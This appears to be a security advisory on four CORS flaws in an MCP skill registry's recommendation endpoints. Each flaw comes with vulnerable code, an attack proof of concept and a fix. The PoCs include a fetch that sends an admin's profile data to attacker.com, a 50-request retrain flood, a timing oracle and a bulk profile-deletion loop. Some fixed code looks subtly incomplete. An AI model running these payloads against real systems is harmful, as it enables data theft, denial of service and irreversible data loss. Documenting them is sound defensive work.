Claude MCP skill CORS misconfiguration — skill recommendation and personalization engine endpoints (SA-SKL-CORS76)
SA-SKL-CORS76 identifies four CORS misconfiguration vulnerabilities in MCP skill registry skill recommendation and personalization engine endpoints. Credential-bearing CORS on the recommendation query endpoint exposes the full personalized recommendation profile for the authenticated admin user, including granular user interest signals derived from browsing and installation history, hidden behavioral data that the registry collects but does not surface in the user-facing profile UI, and admin-only recommendation debug metadata that reveals the internal scoring weights, model variant identifiers, and feature importance vectors used by the inference engine; wildcard ACAO on the model retrain endpoint allows any page to trigger an on-demand recommendation model retrain under the victim admin's session, and flooding these requests exhausts the ML training cluster's compute budget producing a recommendation service denial-of-service condition; a timing oracle on the recommendation explanation endpoint reveals which model variants are currently being served in A/B tests by measuring the latency differential between warm inference-serving cache entries (~6ms) and cold model loading paths (~190ms) without reading the response body; and credential-bearing CORS on the profile deletion endpoint allows any page to permanently erase user recommendation profiles, irreversibly destroying personalization state for every affected user and triggering cold-start recommendation degradation across the registry.
GET /api/skills/recommend has cors({origin:true,credentials:true}) — any origin reads personalized recommendation profile including user interest signals, hidden behavioral data, and admin-only recommendation debug metadata using victim admin sessionPOST /api/skills/recommend/retrain has ACAO:* — any page triggers recommendation model retrain under victim admin identity; attacker floods retrain requests exhausting ML compute resources causing recommendation service DoSGET /api/skills/recommend/explain reflects Origin before auth check — timing oracle reveals which recommendation model variants are actively being A/B tested by inference serving warm-cache (~6ms vs cold ~190ms)DELETE /api/skills/recommend/profile has cors({origin:true,credentials:true}) — any origin deletes user recommendation profiles permanently destroying personalization state for all affected usersCORS76-001 — Credential-bearing CORS exposes personalization profiles, interest signals, and admin recommendation debug metadata
The GET /api/skills/recommend endpoint returns a personalized set of skill recommendations tailored to the authenticated user's history, preferences, and account tier. For admin users, the response includes significantly more data than what is visible through the standard user-facing recommendation UI: granular interest signals derived from the user's full installation history, search query history, and dwell-time patterns on individual skill detail pages; hidden behavioral data including click-through rates on previously recommended skills, dismissal events that the registry uses as negative feedback signals, and cross-device session correlation identifiers; and admin-only recommendation debug metadata that includes the specific model variant identifier currently serving the user, the top-10 feature importance vectors used to generate each recommendation, the internal relevance score and confidence interval for each recommended skill, and the full A/B test assignment table showing every experimental treatment the user is currently enrolled in.
With cors({origin:true,credentials:true}) applied before the authentication and role check, any cross-origin page visited by an authenticated admin user can invoke this endpoint and receive the full admin-augmented recommendation response. The hidden behavioral data is particularly sensitive because it includes behavioral signals that the registry has committed to users not to expose, the click and dismissal history effectively reconstructs a detailed map of which skills the admin user has considered and rejected, and the A/B test enrollment table reveals the exact experimental features the registry is currently evaluating before they are announced publicly. The debug metadata also exposes model variant identifiers that an attacker can use to build a targeted fingerprint of the recommendation infrastructure for use in model poisoning attacks.
// CORS76-001 — VULNERABLE
router.get(
'/api/skills/recommend',
cors({ origin: true, credentials: true }), // any origin reads full recommendation profile
requireSession,
async (req, res) => {
const profile = await recommendationService.getPersonalized({
userId: req.session.userId,
// VULNERABLE: returns hidden behavioral signals and admin debug metadata based on caller identity
});
res.json(profile);
}
);
Attack PoC — CORS76-001: Attacker hosts page on evil.example.com; victim admin visits while logged in. Response exposes all user interest signals, hidden behavioral click and dismissal history, cross-device session correlation identifiers, and admin-only debug metadata including model variant IDs, feature importance vectors, relevance scores, and the full A/B test enrollment table.
// CORS76-001 — ATTACK PoC
fetch(
'https://registry.example.com/api/skills/recommend',
{ credentials: 'include' }
)
.then(r => r.json())
.then(data => {
const interestSignals = data.profile.interestSignals;
const hiddenBehavioral = data.profile.behavioralHistory; // click/dismiss events
const abTestEnrollment = data._debug.abTestAssignments; // admin-only experiment table
const modelVariant = data._debug.modelVariantId;
navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
interestSignals,
hiddenBehavioral,
abTestEnrollment,
modelVariant,
}));
});
// CORS76-001 — FIXED
router.get(
'/api/skills/recommend',
requireSession,
cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
async (req, res) => {
const profile = await recommendationService.getPersonalized({
userId: req.session.userId,
});
// FIXED: strip admin debug fields and hidden behavioral signals for cross-origin consumers
const { _debug, behavioralHistory, abTestAssignments, interestSignals, ...safeProfile } = profile;
res.json(safeProfile);
}
);
CORS76-002 — Wildcard ACAO on model retrain endpoint enables ML compute exhaustion DoS
The POST /api/skills/recommend/retrain endpoint triggers an on-demand retraining run of the recommendation model using the current dataset of user interaction events accumulated in the registry's training data warehouse. Model retraining is normally run on a scheduled nightly cycle, but the endpoint exposes a manual retrain path that allows registry admins to request an immediate retrain when a significant catalog change — such as the mass onboarding of a new skill category — requires the recommendation model to reflect updated content distribution before the next scheduled run. Each retrain invocation allocates a dedicated GPU training job on the ML compute cluster, reads the full training dataset from the data warehouse, and runs a full model training pass that takes 20–45 minutes to complete and consumes a significant fraction of the available ML compute budget.
Configured with Access-Control-Allow-Origin: *, any page can trigger retrain requests using the victim admin's session. Flooding parallel retrain requests saturates the ML compute cluster's available GPU capacity, exhausts the job scheduling queue, and prevents the nightly scheduled retrain from acquiring a compute slot, causing the recommendation model to serve increasingly stale predictions as the production model falls behind the current user interaction dataset. Users receive recommendations based on outdated behavioral patterns, and any catalog changes made since the last successful retrain are not reflected in recommendations until the cluster recovers capacity and completes a successful run.
// CORS76-002 — VULNERABLE
router.post(
'/api/skills/recommend/retrain',
cors(), // VULNERABLE: wildcard ACAO
requireSession,
requireRole('admin'),
async (req, res) => {
// VULNERABLE: no rate limit; always allocates full GPU training job
const jobId = await mlCluster.submitTrainingJob({
model: 'recommendation-v2',
dataset: 'interactions:full',
});
res.json({ jobId, submitted: true, timestamp: new Date().toISOString() });
}
);
Attack PoC — CORS76-002: Attacker floods the recommendation model retrain endpoint using the victim admin's session. Parallel retrain requests saturate ML cluster GPU capacity, exhaust the job scheduling queue, and prevent the nightly scheduled retrain from completing — causing recommendations to serve increasingly stale predictions across the registry.
// CORS76-002 — ATTACK PoC
const flood = Array.from({ length: 50 }, () =>
fetch(
'https://registry.example.com/api/skills/recommend/retrain',
{
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
}
).catch(() => {})
);
await Promise.all(flood);
// CORS76-002 — FIXED
router.post(
'/api/skills/recommend/retrain',
requireSession,
requireRole('admin'),
cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
csrfProtection,
rateLimit({ windowMs: 3_600_000, max: 1, keyGenerator: req => req.session.userId }),
async (req, res) => {
const activeJobs = await mlCluster.getActiveJobCount({ model: 'recommendation-v2' });
if (activeJobs >= 1) {
return res.status(429).json({ error: 'Retrain already in progress; only one concurrent job allowed' });
}
const jobId = await mlCluster.submitTrainingJob({
model: 'recommendation-v2',
dataset: 'interactions:full',
requestedBy: req.session.userId,
});
res.json({ jobId, submitted: true, timestamp: new Date().toISOString() });
}
);
CORS76-003 — Timing oracle on recommendation explain endpoint reveals active A/B test model variants
The GET /api/skills/recommend/explain endpoint provides explanations for why specific skills were recommended to a user, returning the feature importance breakdown and model reasoning for each recommended item. The recommendation inference layer caches recently generated explanations per user and model variant in a warm serving cache so that subsequent explanation requests for the same recommendation return in approximately 6ms from the in-memory cache, while explanation requests for model variants that are not currently warm in the cache require loading the variant's model weights and re-running inference, which takes approximately 190ms. The endpoint reflects the Origin header as an Access-Control-Allow-Origin value before performing the session authentication check, meaning that the CORS preflight succeeds for any origin, allowing cross-origin timing measurements without reading the response body.
An attacker can probe the explanation endpoint with candidate model variant identifiers from any origin and infer which variants have warm serving cache entries — revealing which recommendation model variants are currently active in the A/B testing framework. This information is commercially sensitive because it discloses the registry's current experimentation roadmap, allows an attacker to predict which variant will become the production model based on serving frequency patterns, and enables targeted model inversion attacks against specific active variants by concentrating interaction data against the warmed variant identifiers. The warm cache also reveals the timing of A/B test rotation cycles, allowing the attacker to track when variants are promoted or retired.
// CORS76-003 — VULNERABLE: Origin reflected before auth check
router.get(
'/api/skills/recommend/explain',
(req, res, next) => {
res.set('Access-Control-Allow-Origin', req.headers.origin || '*');
res.set('Access-Control-Allow-Credentials', 'true');
next();
},
requireSession,
async (req, res) => {
const { skillId, variantId } = req.query;
// warm cache (~6ms) for active A/B test variants; cold model load (~190ms) otherwise
const explanation = await explanationCache.get(
`explain:${req.session.userId}:${variantId}:${skillId}`
) ?? await mlCluster.generateExplanation(variantId, skillId, req.session.userId);
res.json({ explanation });
}
);
Attack PoC — CORS76-003: Attacker probes the explanation endpoint timing for candidate model variant identifiers. Requests responding under 20ms have warm serving cache entries, revealing the exact recommendation model variants currently active in A/B tests — exposing the registry's experimentation roadmap and enabling targeted model inversion attacks.
// CORS76-003 — ATTACK PoC (timing oracle)
async function findActiveModelVariants(candidateVariantIds) {
const activeVariants = [];
for (const variantId of candidateVariantIds) {
const t0 = performance.now();
await fetch(
`https://registry.example.com/api/skills/recommend/explain?variantId=${encodeURIComponent(variantId)}&skillId=probe`,
{ credentials: 'include', mode: 'no-cors' }
).catch(() => {});
if (performance.now() - t0 < 20) activeVariants.push(variantId); // warm = currently A/B testing
}
return activeVariants;
}
findActiveModelVariants(candidateVariantIds).then(console.log);
// CORS76-003 — FIXED
router.get(
'/api/skills/recommend/explain',
requireSession,
cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
async (req, res) => {
const { skillId, variantId } = req.query;
const explanation = await explanationCache.get(
`explain:${req.session.userId}:${variantId}:${skillId}`
) ?? await mlCluster.generateExplanation(variantId, skillId, req.session.userId);
// FIXED: enforce constant-time floor so timing oracle yields no signal on variant warm state
const elapsed = Date.now() - req._startTime;
await new Promise(r => setTimeout(r, Math.max(0, 50 - elapsed)));
res.json({ explanation });
}
);
CORS76-004 — Credential-bearing CORS on profile deletion endpoint permanently destroys user personalization state
The DELETE /api/skills/recommend/profile endpoint deletes a user's recommendation profile, erasing all accumulated interest signals, behavioral history, skill interaction events, and model feature vectors that the recommendation engine uses to personalize skill suggestions for that user. Registry admins can invoke this endpoint to reset a user's recommendation state when debugging personalization issues or when a user requests a full data deletion under privacy regulations. Because the recommendation engine stores its training data and serving features in separate datastores — training data in the data warehouse and serving features in a low-latency feature store — a full profile deletion requires coordinated writes to both systems, and the deletion is permanent by default with no soft-delete or recovery window.
With cors({origin:true,credentials:true}) applied before the ownership and re-authentication check, any cross-origin page can invoke this endpoint using the victim admin's session and permanently erase any user's recommendation profile. An attacker can enumerate user identifiers from other API endpoints and submit bulk profile deletion requests targeting every registered user, permanently destroying the personalization state for the entire registry user base. Affected users experience cold-start recommendation behavior — receiving only popularity-ranked suggestions with no personalization — until the recommendation engine accumulates sufficient new interaction data to rebuild their profile, which takes days to weeks of active usage. Because the deletion is permanent, there is no recovery path without restoring from a database backup, and backup restoration affects all user data rather than allowing per-user recovery.
// CORS76-004 — VULNERABLE
router.delete(
'/api/skills/recommend/profile',
cors({ origin: true, credentials: true }), // any origin deletes recommendation profiles
requireSession,
requireRole('admin'),
async (req, res) => {
const { userId } = req.query;
// VULNERABLE: permanent hard-delete with no recovery window
await featureStore.deleteProfile(userId);
await dataWarehouse.deleteUserInteractions(userId);
res.json({ deleted: true, userId, timestamp: new Date().toISOString() });
}
);
Attack PoC — CORS76-004: Attacker bulk-deletes recommendation profiles via CORS-exploited delete requests using the victim admin's session. Permanent hard-deletion destroys personalization state for all targeted users. Rebuilding profiles from scratch requires days to weeks of active usage; no per-user recovery is possible without a full database restore.
// CORS76-004 — ATTACK PoC
const userIds = await enumerateUserIds(); // from other API endpoints
for (const userId of userIds) {
await fetch(
`https://registry.example.com/api/skills/recommend/profile?userId=${userId}`,
{ method: 'DELETE', credentials: 'include' }
).catch(() => {});
}
// CORS76-004 — FIXED
router.delete(
'/api/skills/recommend/profile',
requireSession,
requireRole('admin'),
cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
reAuthRequired({ maxAgeSeconds: 300 }),
rateLimit({ windowMs: 3_600_000, max: 10, keyGenerator: req => req.session.userId }),
async (req, res) => {
const { userId } = req.query;
// FIXED: soft-delete with 7-day recovery window; notify affected user; audit log
await featureStore.softDeleteProfile(userId, { retainUntil: Date.now() + 7 * 86_400_000 });
await dataWarehouse.softDeleteUserInteractions(userId, { retainUntil: Date.now() + 7 * 86_400_000 });
await notificationService.send(userId, {
type: 'recommendation_profile_deletion_scheduled',
message: 'Your recommendation profile has been scheduled for deletion in 7 days. Contact support to cancel.',
});
await auditLog.write({
action: 'recommendation_profile_soft_delete',
targetUserId: userId,
requestedBy: req.session.userId,
timestamp: new Date().toISOString(),
});
res.json({ scheduled: true, userId, retainUntil: new Date(Date.now() + 7 * 86_400_000).toISOString() });
}
);
SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect CORS ordering issues, credential-bearing reflection on recommendation endpoints, wildcard ACAO on ML training operations, and permanent deletion without recovery windows in under 60 seconds. See SA-SKL-CORS73-BLOG for the full compound CORS attack chain analysis.